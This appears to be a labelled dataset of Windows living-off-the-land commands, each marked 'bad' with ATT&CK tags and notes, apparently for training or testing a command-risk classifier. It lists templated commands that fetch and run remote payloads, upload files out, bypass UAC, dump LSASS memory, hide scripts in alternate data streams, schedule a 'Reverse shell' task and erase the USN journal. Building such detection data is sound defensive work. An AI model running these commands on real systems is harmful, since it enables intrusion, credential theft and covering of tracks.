cowWhySo/permission-command-corpus huggingface dataset:
Command: regedit /E {PATH_ABSOLUTE}:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004
Source rule: Regedit.exe
Notes: Export the target Registry key to the specified .REG file.
Command: regedit {PATH_ABSOLUTE}:regfile.reg
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004
Source rule: Regedit.exe
Notes: Import the target .REG file into the Registry.
Command: wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1202, Execute: EXE
Source rule: Wlrmdr.exe
Notes: Execute executable with wlrmdr.exe as parent process
Command: CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: CertReq.exe
Notes: Send the specified file (penultimate argument) to the specified URL via HTTP POST and save the response to the specified txt file (last argument).
Command: CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Upload
Platform: Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: CertReq.exe
Notes: Send the specified file (last argument) to the specified URL via HTTP POST and show response in terminal.
Command: cscript //e:vbscript {PATH_ABSOLUTE}:script.vbs
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004, Execute: WSH
Source rule: Cscript.exe
Notes: Use cscript.exe to exectute a Visual Basic script stored in an Alternate Data Stream (ADS).
Command: CustomShellHost.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218, Execute: EXE
Source rule: CustomShellHost.exe
Notes: Executes explorer.exe (with command-line argument /NoShellRegistrationCheck) if present in the current working folder.
Command: ngen.exe {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows 11
ATT&CK tags: T1105, Download: INetCache
Source rule: Ngen.exe
Notes: Downloads payload from remote server using the Microsoft Native Image Generator utility.
Command: eventvwr.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: UAC Bypass
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
ATT&CK tags: T1548.002, Application: GUI, Execute: EXE
Source rule: Eventvwr.exe
Notes: During startup, eventvwr.exe checks the registry value `HKCU\Software\Classes\mscfile\shell\open\command` for the location of mmc.exe, which is used to open the eventvwr.msc saved console file. If the location of another binary or script is added to this registry value, it will be executed as a high-integrity process without a UAC prompt being displayed to the user.
Command: ysoserial.exe -o raw -f BinaryFormatter - g DataSet -c "{CMD}" > RecentViews & copy RecentViews %LOCALAPPDATA%\Microsoft\EventV~1\RecentViews & eventvwr.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: UAC Bypass
Platform: Windows 7, Windows 8, Windows 8.1, Windows 10
ATT&CK tags: T1548.002, Application: GUI, Execute: .NetObjects
Source rule: Eventvwr.exe
Notes: During startup, eventvwr.exe uses .NET deserialization with `%LOCALAPPDATA%\Microsoft\EventV~1\RecentViews` file. This file can be created using https://github.com/pwntester/ysoserial.net
Command: Extexport.exe {PATH_ABSOLUTE:folder} foo bar
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218, Execute: DLL
Source rule: Extexport.exe
Notes: Load a DLL located in the specified folder with one of the following names mozcrt19.dll, mozsqlite3.dll, or sqlite.dll.
Command: change.exe user
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218, Execute: EXE, Requires: Rename
Source rule: Change.exe
Notes: Once executed, `change.exe` will execute `chgusr.exe` in the same folder. Thus, if `change.exe` is copied to a folder and an arbitrary executable is renamed to `chgusr.exe`, `change.exe` will spawn it. Instead of `user`, it is also possible to use `port` or `logon` as command-line option.
Command: ilasm.exe {PATH_ABSOLUTE:.txt} /exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Compile
Platform: Windows 7, Windows 10, Windows 11
ATT&CK tags: T1127
Source rule: Ilasm.exe
Notes: Binary file used by .NET to compile C#/intermediate (IL) code to .exe
Command: ilasm.exe {PATH_ABSOLUTE:.txt} /dll
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Compile
Platform: Windows 7, Windows 10, Windows 11
ATT&CK tags: T1127
Source rule: Ilasm.exe
Notes: Binary file used by .NET to compile C#/intermediate (IL) code to dll
Command: vbc.exe /target:exe {PATH_ABSOLUTE:.vb}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Compile
Platform: Windows 7, Windows 10, Windows 11
ATT&CK tags: T1127
Source rule: vbc.exe
Notes: Binary file used by .NET to compile Visual Basic code to an executable.
Command: vbc -reference:Microsoft.VisualBasic.dll {PATH_ABSOLUTE:.vb}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Compile
Platform: Windows 7, Windows 10, Windows 11
ATT&CK tags: T1127
Source rule: vbc.exe
Notes: Binary file used by .NET to compile Visual Basic code to an executable.
Command: DataSvcUtil /out:{PATH_ABSOLUTE} /uri:{REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Upload
Platform: Windows 10
ATT&CK tags: T1567
Source rule: DataSvcUtil.exe
Notes: Upload file, credentials or data exfiltration in general
Command: cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004
Source rule: Cmd.exe
Notes: Add content to an Alternate Data Stream (ADS).
Command: cmd.exe - < {PATH}:payload.bat
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1059.003
Source rule: Cmd.exe
Notes: Execute payload.bat stored in an Alternate Data Stream (ADS).
Command: type {PATH_SMB} > {PATH_ABSOLUTE}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: Cmd.exe
Notes: Downloads a specified file from a WebDAV server to the target file.
Command: type {PATH_ABSOLUTE} > {PATH_SMB}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Upload
Platform: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1048.003
Source rule: Cmd.exe
Notes: Uploads a specified file to a WebDAV server.
Command: runscripthelper.exe surfacecheck \\?\{PATH_ABSOLUTE:.txt} {PATH_ABSOLUTE:folder}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
ATT&CK tags: T1218, Execute: PowerShell
Source rule: Runscripthelper.exe
Notes: Execute the PowerShell script with .txt extension
Command: SettingSyncHost -LoadAndRunDiagScript {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 8, Windows 8.1, Windows 10
ATT&CK tags: T1218, Execute: EXE
Source rule: SettingSyncHost.exe
Notes: Execute file specified in %COMSPEC%
Command: SettingSyncHost -LoadAndRunDiagScriptNoCab {PATH:.bat}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 8, Windows 8.1, Windows 10
ATT&CK tags: T1218, Execute: CMD
Source rule: SettingSyncHost.exe
Notes: Execute a batch script in the background (no window ever pops up) which can be subverted to running arbitrary programs by setting the current working directory to %TMP% and creating files such as reg.bat/reg.exe in that directory thereby causing them to execute instead of the ones in C:\Windows\System32.
Command: InfDefaultInstall.exe {PATH:.inf}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218, Execute: INF
Source rule: Infdefaultinstall.exe
Notes: Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.
Command: diskshadow.exe /s {PATH:.txt}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: Windows server
ATT&CK tags: T1003.003, Execute: CMD
Source rule: Diskshadow.exe
Notes: Execute commands using diskshadow.exe from a prepared diskshadow script.
Command: diskshadow> exec {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows server
ATT&CK tags: T1202, Execute: CMD
Source rule: Diskshadow.exe
Notes: Execute commands using diskshadow.exe to spawn child process
Command: fsutil.exe file setZeroData offset=0 length=9999999999 {PATH_ABSOLUTE}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Tamper
Platform: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10
ATT&CK tags: T1485
Source rule: Fsutil.exe
Notes: Zero out a file
Command: fsutil.exe usn deletejournal /d c:
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Tamper
Platform: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10
ATT&CK tags: T1485
Source rule: Fsutil.exe
Notes: Delete the USN journal volume to hide file creation activity
Command: fsutil.exe trace decode
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 11
ATT&CK tags: T1218, Execute: EXE
Source rule: Fsutil.exe
Notes: Executes a pre-planted binary named netsh.exe from the current directory.
Command: set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL} /eventName:desktopimgdownldr
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: Desktopimgdownldr.exe
Notes: Downloads the file and sets it as the computer's lockscreen
Command: schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr "{CMD}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1053.005, Execute: CMD
Source rule: Schtasks.exe
Notes: Create a recurring task to execute every minute.
Command: schtasks /create /s targetmachine /tn "MyTask" /tr "{CMD}" /sc daily
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1053.005, Execute: CMD
Source rule: Schtasks.exe
Notes: Create a scheduled task on a remote computer for persistence/lateral movement
Command: TTDInject.exe /ClientParams "7 tmp.run 0 0 0 0 0 0 0 0 0 0" /Launch "{PATH:.exe}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10 2004 and above, Windows 11
ATT&CK tags: T1127, Execute: EXE
Source rule: Ttdinject.exe
Notes: Execute a program using ttdinject.exe. Requires administrator privileges. A log file will be created in tmp.run. The log file can be changed, but the length (7) has to be updated.
Command: ttdinject.exe /ClientScenario TTDRecorder /ddload 0 /ClientParams "7 tmp.run 0 0 0 0 0 0 0 0 0 0" /launch "{PATH:.exe}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10 1909 and below
ATT&CK tags: T1127, Execute: EXE
Source rule: Ttdinject.exe
Notes: Execute a program using ttdinject.exe. Requires administrator privileges. A log file will be created in tmp.run. The log file can be changed, but the length (7) has to be updated.
Command: stordiag.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10
ATT&CK tags: T1218, Execute: EXE
Source rule: Stordiag.exe
Notes: Once executed, Stordiag.exe will execute schtasks.exe systeminfo.exe and fltmc.exe - if stordiag.exe is copied to a folder and an arbitrary executable is renamed to one of these names, stordiag.exe will execute it.
Command: rdrleakdiag.exe /p 940 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: Windows
ATT&CK tags: T1003
Source rule: rdrleakdiag.exe
Notes: Dump process by PID and create a dump file (creates files called `minidump_<PID>.dmp` and `results_<PID>.hlk`).
Command: rdrleakdiag.exe /p 832 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: Windows
ATT&CK tags: T1003.001
Source rule: rdrleakdiag.exe
Notes: Dump LSASS process by PID and create a dump file (creates files called `minidump_<PID>.dmp` and `results_<PID>.hlk`).
Command: rdrleakdiag.exe /p 832 /o {PATH_ABSOLUTE:folder} /fullmemdmp /snap
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: Windows
ATT&CK tags: T1003.001
Source rule: rdrleakdiag.exe
Notes: After dumping a process using `/wait 1`, subsequent dumps must use `/snap` (creates files called `minidump_<PID>.dmp` and `results_<PID>.hlk`).
Command: replace.exe {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE:folder} /A
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Copy
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: Replace.exe
Notes: Copy .cab file to destination
Command: replace.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:folder} /A
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: Replace.exe
Notes: Download/Copy executable to specified folder
Command: rmdir %temp%\lolbin /s /q 2>nul & mkdir "%temp%\lolbin\Windows Media Player" & copy C:\Windows\System32\calc.exe "%temp%\lolbin\Windows Media Player\wmpnscfg.exe" >nul && cmd /V /C "set "ProgramW6432=%temp%\lolbin" && unregmp2.exe /HideWMP"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10
ATT&CK tags: T1202, Execute: EXE
Source rule: Unregmp2.exe
Notes: Allows an attacker to copy a target binary to a controlled directory and modify the 'ProgramW6432' environment variable to point to that controlled directory, then execute 'unregmp2.exe' with argument '/HideWMP' which will spawn a process at the hijacked path '%ProgramW6432%\wmpnscfg.exe'.
Command: wbemtest.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1047, Application: GUI, Execute: CMD
Source rule: wbemtest.exe
Notes: Execute arbitary commands through WMI through a GUI managment interface for Web Based Enterprise Management testing (WBEM). Uses WMI to Create and instance of a Win32_Process WMI class with a commandline argument of the target command to spawn. Spawns a GUI so it requires interactive access. For a demo, see link to blog in resources.
Command: wuauclt.exe /UpdateDeploymentProvider {PATH_ABSOLUTE:.dll} /RunHandlerComServer
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10
ATT&CK tags: T1218, Execute: DLL
Source rule: wuauclt.exe
Notes: Loads and executes DLL code on attach.
Command: netsh.exe add helper {PATH_ABSOLUTE:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1546.007, Execute: DLL
Source rule: Netsh.exe
Notes: Use Netsh in order to execute a .dll file and also gain persistence, every time the netsh command is called
Command: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe {REMOTEURL:.zip}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: msedge_proxy.exe
Notes: msedge_proxy will download malicious file.
Command: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.015, Execute: CMD
Source rule: msedge_proxy.exe
Notes: msedge_proxy.exe will execute file in the background
Command: finger user@example.host.com | more +2 | cmd
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 8.1, Windows 10, Windows 11, Windows Server 2008, Windows Server 2008R2, Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019, Windows Server 2022
ATT&CK tags: T1105
Source rule: Finger.exe
Notes: Downloads payload from remote Finger server. This example connects to "example.host.com" asking for user "user"; the result could contain malicious shellcode which is executed by the cmd process.
Command: C:\Windows\System32\IME\SHARED\IMEWDBLD.exe {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows 11
ATT&CK tags: T1105, Download: INetCache
Source rule: IMEWDBLD.exe
Notes: IMEWDBLD.exe attempts to load a dictionary file, if provided a URL as an argument, it will download the file served at by that URL and save it to INetCache.
Command: reset.exe session
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218, Execute: EXE, Requires: Rename
Source rule: Reset.exe
Notes: Once executed, `reset.exe` will execute `rwinsta.exe` in the same folder. Thus, if `reset.exe` is copied to a folder and an arbitrary executable is renamed to `rwinsta.exe`, `reset.exe` will spawn it.
Command: pnputil.exe -i -a {PATH_ABSOLUTE:.inf}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 7, Windows 10, Windows 11
ATT&CK tags: T1547, Execute: INF
Source rule: Pnputil.exe
Notes: Used for installing drivers
Command: regini.exe {PATH}:hidden.ini
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004
Source rule: Regini.exe
Notes: Write registry keys from data inside the Alternate data stream.
Command: winget.exe install --manifest {PATH:.yml}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1105, Execute: Remote, Execute: EXE
Source rule: winget.exe
Notes: Downloads a file from the web address specified in .yml file and executes it on the system. Local manifest setting must be enabled in winget for it to work: `winget settings --enable LocalManifestFiles`
Command: winget.exe install --accept-package-agreements -s msstore {name or ID}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: winget.exe
Notes: Download and install any software from the Microsoft Store using its name or Store ID, even if the Microsoft Store App itself is blocked on the machine. For example, use "Sysinternals Suite" or `9p7knl5rwt25` for obtaining ProcDump, PsExec via the Sysinternals Suite. Note: a Microsoft account is required for this.
Command: mshta.exe {PATH:.hta}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.005, Execute: HTA, Execute: Remote
Source rule: Mshta.exe
Notes: Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
Command: mshta.exe vbscript:Close(Execute("GetObject(""script:{REMOTEURL:.sct}"")"))
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.005, Execute: VBScript
Source rule: Mshta.exe
Notes: Executes VBScript supplied as a command line argument.
Command: mshta.exe javascript:a=GetObject("script:{REMOTEURL:.sct}").Exec();close();
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.005, Execute: JScript
Source rule: Mshta.exe
Notes: Executes JavaScript supplied as a command line argument.
Command: mshta.exe "{PATH_ABSOLUTE}:file.hta"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 (Does not work on 1903 and newer)
ATT&CK tags: T1218.005, Execute: HTA
Source rule: Mshta.exe
Notes: Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
Command: mshta.exe {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105, Download: INetCache
Source rule: Mshta.exe
Notes: It will download a remote payload and place it in INetCache.
Command: PrintBrm -b -d {PATH_SMB:folder} -f {PATH_ABSOLUTE:.zip}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105, Type: Compression
Source rule: PrintBrm.exe
Notes: Create a ZIP file from a folder in a remote drive
Command: PrintBrm -r -f {PATH_ABSOLUTE}:hidden.zip -d {PATH_ABSOLUTE:folder}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004, Type: Compression
Source rule: PrintBrm.exe
Notes: Extract the contents of a ZIP file stored in an Alternate Data Stream (ADS) and store it in a folder
Command: Microsoft.Workflow.Compiler.exe {PATH} {PATH:.log}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10S, Windows 11
ATT&CK tags: T1127, Execute: VB.Net, Execute: Csharp
Source rule: Microsoft.Workflow.Compiler.exe
Notes: Compile and execute C# or VB.net code in a XOML file referenced in the first argument (any extension accepted).
Command: Gpscript /logon
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218, Execute: CMD
Source rule: Gpscript.exe
Notes: Executes logon scripts configured in Group Policy.
Command: Gpscript /startup
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218, Execute: CMD
Source rule: Gpscript.exe
Notes: Executes startup scripts configured in Group Policy
Command: jsc.exe {PATH:.js}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Compile
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1127, Execute: JScript
Source rule: Jsc.exe
Notes: Use jsc.exe to compile JavaScript code stored in the provided .JS file and generate a .EXE file with the same name.
Command: jsc.exe /t:library {PATH:.js}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Compile
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1127, Execute: JScript
Source rule: Jsc.exe
Notes: Use jsc.exe to compile JavaScript code stored in the .JS file and generate a DLL file with the same name.